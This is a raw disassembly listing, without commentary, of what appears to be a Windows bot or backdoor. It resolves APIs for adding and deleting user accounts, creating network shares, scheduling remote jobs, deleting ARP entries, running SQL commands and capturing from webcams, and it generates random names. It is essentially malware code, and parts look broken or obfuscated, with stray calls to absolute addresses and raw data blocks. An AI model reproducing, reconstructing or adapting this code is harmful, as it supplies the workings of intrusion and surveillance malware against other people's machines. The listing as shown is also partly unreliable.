		jz	short loc_40A2E7
		cmp	dword_4CAFD0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB038, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF84, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF48, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB028, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------

loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		nop
		call	near ptr 2670914h
		mov	dword_4CB088, eax

loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB084, 1

loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF6C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAEA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	ecx, dword_4CAF3C
		mov	dword_4CAFD8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE68, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF6C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF18, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF78, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEB0, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC

loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB08C, 1

loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF54, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------

loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2670914h
		mov	dword_4CB090, eax
		mov	dword_4CB08C, 1

loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF54, ebx

loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB05C, eax
		call	esi
		cmp	dword_4CAF2C, ebx
		mov	dword_4CAEBC, eax
		jz	short loc_40A466
		cmp	dword_4CB05C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------

loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		call	near ptr 2670914h
		nop
		mov	dword_4CB098, eax

loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB094, 1

loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB034, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAED0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAF04, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		cmp	dword_4CAE98, ebx
		mov	dword_4CAED8, eax
		jz	short loc_40A582
		cmp	dword_4CAE70, ebx
		jz	short loc_40A582
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A582
		cmp	dword_4CAF1C, ebx
		jz	short loc_40A582
		cmp	dword_4CB034, ebx
		jz	short loc_40A582
		cmp	dword_4CAED0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE7C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE6C, ebx
		jz	short loc_40A582
		cmp	dword_4CAF04, ebx
		jz	short loc_40A582
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A582
		cmp	dword_4CAFB4, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------

loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2670914h
		nop
		mov	dword_4CB0A0, eax

loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB09C, 1

loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		cmp	dword_4CAEC0, ebx
		mov	dword_4CAF9C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------

loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 2670914h
		nop
		mov	dword_4CB0A8, eax

loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB0A4, 1

loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CB01C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------

loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2670914h
		mov	dword_4CB0B0, eax

loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB0AC, 1

loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB04C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB044, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB00C, eax
		call	esi
		cmp	dword_4CB04C, ebx
		mov	dword_4CAEDC, eax
		jz	short loc_40A68A
		cmp	dword_4CB044, ebx
		jz	short loc_40A68A
		cmp	dword_4CB00C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------

loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2670914h
		mov	dword_4CB0B8, eax

loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB0B4, 1

loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF10, ebx
		mov	dword_4CB018, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------

loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2670914h
		mov	dword_4CB0C0, eax

loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB0BC, 1

loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFE0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		cmp	dword_4CAFE0, ebx
		mov	dword_4CAF30, eax
		jz	short loc_40A772
		cmp	dword_4CB02C, ebx
		jz	short loc_40A772
		cmp	dword_4CAF68, ebx
		jz	short loc_40A772
		cmp	dword_4CAF20, ebx
		jz	short loc_40A772
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2670914h
		mov	dword_4CB0C8, eax

loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB0C4, 1

loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAEF4, ebx
		mov	dword_4CAFD4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------

loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2670914h
		mov	dword_4CB0D0, eax

loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB0CC, 1

loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB064, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB06C, esi
		jz	short loc_40A84A
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB074, esi
		jz	short loc_40A87E
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB07C, esi
		jz	short loc_40A8B2
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB084, esi
		jz	short loc_40A8E6
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB08C, esi
		jz	short loc_40A91A
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB094, esi
		jz	short loc_40A94E
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB09C, esi
		jz	short loc_40A982
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB0A4, esi
		jz	short loc_40A9B6
		push	dword_4CB0A8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB0AC, esi
		jz	short loc_40A9EA
		push	dword_4CB0B0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB0B4, esi
		jz	short loc_40AA1E
		push	dword_4CB0B8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB0BC, esi
		jz	short loc_40AA52
		push	dword_4CB0C0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB0C4, esi
		jz	short loc_40AA86
		push	dword_4CB0C8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB0CC, esi
		jz	short loc_40AABA
		push	dword_4CB0D0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h

loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D368
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAEC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB020
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A

loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D57C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------

loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D558
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB020
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------

loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D528

loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4F8
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------

loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]

loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB01C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF48
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0D4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------

loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]

loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D5C8o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D630[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D

loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B498
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7

loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		dd 275BBFE8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h
		dd 68004291h, 42C954h, 0E8571C6Ah, 10C38h, 0C483F633h
		dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
		dd 98685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h
		dd 42909835h, 8BDA7C00h, 0C35E5FC7h

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26808E8h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3

loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD

loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26808E8h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431288
		push	eax
		push	esi
		nop
		call	near ptr 26B0000h
		movsx	eax, byte_431288
		push	41h
		pop	ecx
		push	1
		pop	edx

